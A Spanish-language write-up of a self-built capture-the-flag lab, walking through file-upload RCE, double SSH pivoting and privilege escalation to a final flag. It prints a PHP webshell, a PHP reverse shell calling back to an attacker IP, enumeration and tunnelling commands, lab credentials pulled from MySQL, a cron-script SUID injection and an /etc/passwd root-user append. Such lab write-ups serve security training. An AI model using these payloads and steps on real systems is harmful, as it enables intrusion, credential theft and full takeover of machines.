Inicio
Proyectos
Ver todos Laboratorio SOC
Blog
Tutoriales
Ver todos Servidor LDAP Servidor Web AWS Kubernetes Pandora FMS Descargar VM Fortinet Autenticación LDAP Gophish
CTF
Ver todos Lab 1 — vsftpd + Pivoting Lab 2 — SMB + SQLi + SUID Lab 3 — Upload + Doble Pivot Lab 4 — Doble Pivot Real
Portfolio Consultoría

Lab 4 — File Upload + MySQL + Cron + Doble Pivoting (ejecución real)

Laboratorio File Upload MySQL Doble Pivot Cron Privesc /etc/passwd Completado 18 Mar 2026 ↓ Descargar Lab

Ejecución real del laboratorio de doble pivoting. Tres redes completamente aisladas entre sí. Este write-up documenta el proceso real incluyendo los obstáculos encontrados: reverse shells que no funcionaban por limitaciones del contenedor, wget roto desde la webshell, y la solución final usando una reverse shell PHP con proc_open.

0

Topología del laboratorio

Ubuntu 192.168.1.151 -> PIVOT 1 (dev-web01 - 172.22.10.8|172.22.20.2) -> PIVOT 2 (db-server01 172.22.20.20|172.22.30.2) -> TARGET (prod-server01 - 172.22.30.30)
── Fase 1: Comprometer PIVOT 1 ──
1

Reconocimiento + File Upload

Escaneo inicial sobre la Red A para identificar el primer pivot.

nmap -sV -p 80,22 172.22.10.8
Servicio web en puerto 80: DEV File Manager v0.3
Sin restricciones de extensión en el upload.

Enumeración de rutas con gobuster:

gobuster dir -u http://172.22.10.8 \
  -w /usr/share/wordlists/dirb/common.txt
Rutas descubiertas: /upload, /files/, /robots.txt

Se subió una webshell PHP básica para confirmar RCE:

# shell.php:
<?php system($_GET['cmd']); ?>

curl -F "[email protected]" http://172.22.10.8/upload
RCE confirmado: uid=0(root)
2

Reverse Shell — Obstáculos y solución real

Aquí surgieron varios problemas no documentados en teoría. Las reverse shells estándar fallaron por distintos motivos:

⚠️ bash -i >& /dev/tcp/... → Error de parseo en la URL incluso con encoding.
⚠️ mkfifo + nc → Sin respuesta. La versión de nc del contenedor no tenía -e.
⚠️ wget desde la webshell → Interpretaba la URL completa como hostname por el modo en que la webshell pasaba el comando.
⚠️ curl → No instalado en el contenedor.

La solución fue subir un segundo archivo PHP que ejecuta la reverse shell directamente al ser visitado, sin depender de parámetros GET:

# rs.php — reverse shell via proc_open:
<?php
$sock=fsockopen("192.168.1.151",9001);
$proc=proc_open("/bin/bash -i",
  array(0=>$sock,1=>$sock,2=>$sock),$pipes);
proc_close($proc);
?>

# Subir:
curl -F "[email protected]" http://172.22.10.8/upload

# Listener:
nc -lvnp 9001

# Ejecutar visitando la URL:
curl http://172.22.10.8/files/rs.php
Shell interactiva recibida como root en PIVOT 1.
── Fase 2: Reconocimiento Red B + PIVOT 2 ──
3

Descubrimiento Red B desde PIVOT 1

# Leer notas internas del pivot:
cat /home/devuser/network.txt
# Red interna B: 172.22.20.0/24
# DB server: 172.22.20.20 (MySQL:3306, SSH:22)

# Confirmar puertos abiertos en el target:
for p in 22 3306 80 443; do
  (echo > /dev/tcp/172.22.20.20/$p) 2>/dev/null \
  && echo "Abierto: $p"
done
Puertos confirmados en 172.22.20.20: 22 (SSH) y 3306 (MySQL)
4

Túnel SSH + Extracción de credenciales MySQL

Sin Meterpreter, montamos el pivoting mediante túnel SSH directo desde Kali usando las credenciales del PIVOT 1.

# Túnel SSH — redirige MySQL del PIVOT2 a Kali:
ssh -L 13306:172.22.20.20:3306 [email protected]
# password: devpass123

# Conectar a MySQL a través del túnel:
mysql -h 127.0.0.1 -P 13306 -u root

mysql> USE corp_db;
mysql> SELECT * FROM system_users;
Credenciales extraídas:
dbadmin : Mysql@2024! → SSH a PIVOT2 (172.22.20.20)
sysop : Pr0d_S3rv3r! → SSH a TARGET (172.22.30.30)
── Fase 3: Comprometer PIVOT 2 ──
5

SSH a PIVOT 2 + Cron Job Privesc

ssh [email protected]
# password: Mysql@2024!

# Enumerar cron jobs:
cat /etc/cron.d/*
# * * * * * root /opt/scripts/maintenance.sh

# Verificar permisos del script:
ls -la /opt/scripts/maintenance.sh
# -rwxrwxrwx ← escribible por todos
Cron job ejecutado como root cada minuto — script con permisos 777.

Al estar en una red interna sin salida a Kali, la reverse shell al cron no era viable. Se optó por escalada local mediante SUID bash:

# Inyectar en el script — copia bash con bit SUID:
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" \
  >> /opt/scripts/maintenance.sh

# Esperar 1 minuto a que cron lo ejecute:
ls -la /tmp/rootbash
# -rwsr-sr-x ← SUID activo

# Ejecutar como root:
/tmp/rootbash -p
whoami  # root

# Leer credenciales del TARGET:
cat /root/infra/prod_creds.txt
# prod-server01: 172.22.30.30
# sysop : Pr0d_S3rv3r!
# Nota: /etc/passwd escribible
Root en PIVOT 2 + credenciales del TARGET final obtenidas.
── Fase 4: Segundo Pivoting → TARGET final ──
6

Segundo túnel SSH + Acceso al TARGET

Desde Kali, montamos un segundo salto encadenando los dos túneles SSH para llegar a la Red C:

# Túnel encadenado: Kali → PIVOT1 → PIVOT2 → TARGET
ssh -L 2222:172.22.30.30:22 \
  -o [email protected] \
  [email protected]

# SSH al TARGET a través del túnel:
ssh -p 2222 [email protected]
# password: Pr0d_S3rv3r!
7

Escalada via /etc/passwd + Flag

# Verificar permisos:
ls -la /etc/passwd
# -rw-rw-rw- ← escribible por todos

# Añadir usuario root sin password:
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd

# Escalar:
su hacker
whoami   # root
cat /root/flag.txt
⚠️ Error cometido durante la ejecución: Se usó > en lugar de >> al escribir en /etc/passwd, sobreescribiendo todos los usuarios del sistema. En un entorno real esto hubiera tumbado todos los servicios. Siempre usar >> para añadir sin destruir.
🚩 FLAG: FLAG{d0ubl3_p1v0t_m4st3r_eJPT_c0mpl3t3!}

Conclusiones y aprendizajes


Volver a CTF & Labs.